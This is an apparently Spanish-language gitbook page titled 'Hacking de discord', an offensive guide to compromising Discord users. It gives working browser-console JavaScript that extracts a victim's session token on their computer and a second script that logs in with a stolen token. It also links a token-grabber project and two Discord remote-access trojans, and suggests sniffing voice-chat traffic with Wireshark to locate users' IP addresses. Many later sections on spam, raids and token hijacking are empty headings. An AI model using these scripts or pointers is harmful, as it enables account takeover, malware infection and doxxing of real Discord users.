# Hacking de discord

> Discord es una aplicación gratuita de comunicación que te permite conectarte con amigos, comunidades de juegos y otros usuarios a través de chat de texto, voz y video. Esta es una de las aplicaciones mas explotables a mi opinión, por ahora solo veremos algunas pocas técnicas.

## SOCMINT y recolección de información

[click aquí para leer](https://zerophoenix.gitbook.io/zerophoenix/osint-e-int/osint/socmint/discord)

## Obtención de tokens

> En una web, los tokens son generalmente pequeños trozos de información que permiten la autenticación y autorización de los usuarios. Estos tokens se utilizan para identificar y verificar a los usuarios, permitiéndoles acceder a contenido y funciones protegidas sin necesidad de ingresar sus credenciales cada vez.&#x20;

esto nos indica que, conseguir un token nos permite acceder a una cuenta sin tener que utilizar los métodos de autenticación convencionales.

### id to token

el codificar un ID de Discord en base64, podemos conseguir la primera parte de un token (no muy útil)

* para copiar un ID debemos activar el modo desarrollador
  \*

  ```
  <figure><img src="https://2387787026-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FJgLrxGxnGGPpWjuMQyil%2Fuploads%2FSW2dsrssgUcKJs1JSZ3s%2Fimage.png?alt=media&#x26;token=73491e60-e68a-47d4-8194-171ff07b146f" alt=""><figcaption></figcaption></figure>

  `configuración > avanzados > modo desarrollador` &#x20;
  ```

  * copiando el ID de un usuario :&#x20;
  *

  ```
  <figure><img src="https://2387787026-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FJgLrxGxnGGPpWjuMQyil%2Fuploads%2FzMqMj2zEW7J74SxIEpMK%2Fimage.png?alt=media&#x26;token=49cc4330-0b76-4770-b5f0-ba097569b456" alt=""><figcaption></figcaption></figure>
  ```

  ```
  al entrar a un perfil y darle a los 3 puntos podremos ver como nos da la opción
  ```

para ponerlo en base64 es muy fácil, si prefieres ahorrar tiempo puedes usar esta pagina : <https://www.base64encode.org/>

### malware y loggers por discord token

conseguir tokens mediante la instalación de malware y loggers.

En github hay algunos proyectos que podemos utilizar para hacer esto :&#x20;

* <https://github.com/AstraaDev/Discord-Token-Grabber>

### Obtencion manual del token de discord

si estamos por ejemplo en la computadora de la cuenta objetivo podemos ejecutar el siguiente código para conseguir el token desde la consola de navegador (hay que entrar a discord primero) :&#x20;

```
(webpackChunkdiscord_app.push([[''],{},e=>{m=[];for(let c in e.c)m.push(e.c[c])}]),m).find(m=>m?.exports?.default?.getToken!==void 0).exports.default.getToken()
# fuente : https://gist.github.com/XielQs/90ab13b0c61c6888dae329199ea6aff3 (elimina esta linea)
```

### loggearse en un token de discord

podemos usar el siguiente codigo en la consola del navegador (hay que entrar a discord primero) :&#x20;

```
let token = "token_aqui";

function login(token) {
    setInterval(() => {
      document.body.appendChild(document.createElement `iframe`).contentWindow.localStorage.token = `"${token}"`
    }, 50);
    setTimeout(() => {
      location.reload();
    }, 2500);
  }

login(token);
# fuente : https://gist.github.com/m-Phoenix852/b47fffb0fd579bc210420cedbda30b61 (elimina esta linea)
```

o bien, utilizar extensiones, ten en cuenta que en este caso no sabemos si el creador de alguna extensión esta recopilando datos no deseados.

## Discord RAT

estos RAT (Remote Access Trojan) nos permiten controlar maquinas mediante discord

* <https://github.com/mategol/PySilon-malware>
* <https://github.com/moom825/Discord-RAT-2.0>

## Obtención de IPs&#x20;

vamos a ver como obtener direcciones IP o aproximaciones

### mediante VC

en los voice chat, puedes abrir wireshark para interceptar los servidores de voz en donde se conectan los usuarios, lo que te permite conseguir ubicaciones aproximadas e incluso es posible que se haga un leak de la IP real.

## Spam y Flood

### Flood avanzado (Bypasses)

### Ping invisible y mensajes cursed

### spam avanzado (Bypasses)

### flood por md

### Bypass del limite de caracteres

## Webhook spammers

### webhook spam avanzado

## Introducción a las Raids

## Introduccion a las raids avanzadas

### creando bots propios

### hijack de tokens

### token joiners

### Tecnicas

### Bypass de seguridad

## Plugins&#x20;

## Control de tokens
